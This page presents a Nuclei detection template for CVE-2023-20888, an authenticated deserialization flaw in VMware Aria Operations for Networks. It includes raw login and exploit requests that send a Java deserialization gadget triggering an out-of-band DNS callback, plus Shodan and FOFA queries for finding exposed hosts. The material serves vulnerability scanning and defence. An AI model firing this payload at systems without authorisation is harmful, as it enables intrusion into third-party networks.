VMware Aria Operations for Networks - Remote Code Execution

ID: CVE-2023-20888

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve2023,cve,vmware,aria,rce,authenticated,oast

Description

Aria Operations for Networks contains an authenticated deserialization vulnerability. A malicious actor with network access to VMware Aria Operations for Networks and valid ‘member’ role credentials may be able to perform a deserialization attack resulting in remote code execution.

YAML Source

id: CVE-2023-20888

info:
  name: VMware Aria Operations for Networks - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Aria Operations for Networks contains an authenticated deserialization vulnerability. A malicious actor with network access to VMware Aria Operations for Networks and valid 'member' role credentials may be able to perform a deserialization attack resulting in remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2023-0012.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20888
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-20888
    cwe-id: CWE-502
    epss-score: 0.21995
    epss-percentile: 0.96459
    cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vmware
    product: vrealize_network_insight
    shodan-query:
      - title:"VMware Aria Operations"
      - http.title:"vmware vrealize network insight"
      - http.title:"vmware aria operations"
    fofa-query:
      - title="vmware vrealize network insight"
      - title="vmware aria operations"
    google-query:
      - intitle:"vmware aria operations"
      - intitle:"vmware vrealize network insight"
  tags: cve2023,cve,vmware,aria,rce,authenticated,oast

http:
  - raw:
      - |
        POST /api/auth/login HTTP/2
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        X-Vrni-Csrf-Token: null

        {"username":"{{username}}","password":"{{password}}","domain":"localdomain"}
      - |
        POST /api/events/push-notifications HTTP/2
        Host: {{Hostname}}
        X-Vrni-Csrf-Token: {{csrf}}
        Content-Type: application/json

        {"endOffset": "{{ generate_java_gadget("dns", "http://{{interactsh-url}}", "base64") }} "}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 500

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'csrfToken":"([a-z0-9A-Z/+=]+)"'
        internal: true
        part: body
# digest: 490a00463044022014c5dfbd64831276aa6e32818b3b74912bab3200bb31290569e397579fb95f4e022056a378026f810de78e540f5dcd86391a493c2ab699ac49b1bfbd066e38d4749f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-20888.yaml"

View on Github